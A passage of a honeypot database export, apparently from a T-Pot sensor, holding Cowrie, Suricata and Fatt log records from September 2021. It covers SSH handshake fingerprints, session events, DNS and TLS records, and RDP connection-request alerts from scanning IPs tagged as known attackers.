"AAADzAYU+W5yJhdhwXOXzkNPjC9e4gAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47386, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:35:13.825721Z", "@timestamp": "2021-09-20T11:35:13.825Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......nr&.a.s..CO./^....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30483	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:35:31.941233+03	2021-09-20 14:45:03.214142+03	{"_id": "6Ab9AnwBvYTbRNuEYTyy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "b0fb01ff1011", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:35:31.941233Z", "@timestamp": "2021-09-20T11:35:31.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30468	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:13.569665+03	2021-09-20 14:45:03.196142+03	{"_id": "qQb9AnwBvYTbRNuEGjwr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.70.175.230", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47386, "timestamp": "2021-09-20T11:35:13.569665", "@timestamp": "2021-09-20T11:35:13.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30469	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:35:15.914573+03	2021-09-20 14:45:03.197144+03	{"_id": "uwb9AnwBvYTbRNuEJDzZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32362, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 531, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 190945420373513, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42369, "timestamp": "2021-09-20T11:35:15.914573Z", "@timestamp": "2021-09-20T11:35:15.914Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30470	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:35:16.00831+03	2021-09-20 14:45:03.198142+03	{"_id": "vQb9AnwBvYTbRNuEJTzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35404, "timestamp": "2021-09-20T11:35:16.008310", "@timestamp": "2021-09-20T11:35:16.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30471	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:35:16.865121+03	2021-09-20 14:45:03.199142+03	{"_id": "vwb9AnwBvYTbRNuEJzwU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "4c51ea853ae5", "@version": "1", "duration": 3.296597957611084, "timestamp": "2021-09-20T11:35:16.865121Z", "@timestamp": "2021-09-20T11:35:16.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30472	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:35:09.387627+03	2021-09-20 14:45:03.201142+03	{"_id": "pQb9AnwBvYTbRNuEBzzQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1c990e26a281", "@version": "1", "duration": 2.311852216720581, "timestamp": "2021-09-20T11:35:09.387627Z", "@timestamp": "2021-09-20T11:35:09.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31348	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:08.904786+03	2021-09-20 14:45:04.369142+03	{"_id": "UgYFA3wBvYTbRNuERkNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:08.904786Z", "@timestamp": "2021-09-20T11:44:08.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
30473	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:35:13.824058+03	2021-09-20 14:45:03.202142+03	{"_id": "pwb9AnwBvYTbRNuEGTwg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 299137793897249, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47386, "dest_port": 22, "timestamp": "2021-09-20T11:35:13.824058Z", "@timestamp": "2021-09-20T11:35:13.824Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30474	81.70.175.230	109.199.241.180	Fatt	2021-09-20 14:35:13.825721+03	2021-09-20 14:45:03.203142+03	{"_id": "qgb9AnwBvYTbRNuEGjwr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47386, "dest_port": 22, "timestamp": "2021-09-20T11:35:13.825721", "@timestamp": "2021-09-20T11:35:13.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30475	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:19.00089+03	2021-09-20 14:45:03.204142+03	{"_id": "1gb9AnwBvYTbRNuEVzyn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 1675256049332131, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 45562, "timestamp": "2021-09-20T11:35:19.000890Z", "@timestamp": "2021-09-20T11:35:19.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30476	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:35:30.134402+03	2021-09-20 14:45:03.205142+03	{"_id": "2wb9AnwBvYTbRNuEWzyQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 868251026408990, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59825, "dest_port": 3389, "timestamp": "2021-09-20T11:35:30.134402Z", "@timestamp": "2021-09-20T11:35:30.134Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30477	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:35:30.134402+03	2021-09-20 14:45:03.207142+03	{"_id": "3Qb9AnwBvYTbRNuEWzyS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 868251026408990, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59825, "dest_port": 3389, "timestamp": "2021-09-20T11:35:30.134402Z", "@timestamp": "2021-09-20T11:35:30.134Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30478	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:35:30.594143+03	2021-09-20 14:45:03.208142+03	{"_id": "3gb9AnwBvYTbRNuEWzyS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 868251026408990, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59825, "dest_port": 3389, "timestamp": "2021-09-20T11:35:30.594143Z", "@timestamp": "2021-09-20T11:35:30.594Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30479	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:35:30.594143+03	2021-09-20 14:45:03.209141+03	{"_id": "4Ab9AnwBvYTbRNuEWzyT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:35:29.804382+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 868251026408990, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 59825, "dest_port": 3389, "timestamp": "2021-09-20T11:35:30.594143Z", "@timestamp": "2021-09-20T11:35:30.594Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30480	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:35:30.134402+03	2021-09-20 14:45:03.210141+03	{"_id": "4Qb9AnwBvYTbRNuEXDyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 59825, "dest_port": 3389, "timestamp": "2021-09-20T11:35:30.134402", "@timestamp": "2021-09-20T11:35:30.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
30481	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:35:32.198325+03	2021-09-20 14:45:03.212142+03	{"_id": "7Ab9AnwBvYTbRNuEZDxs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": 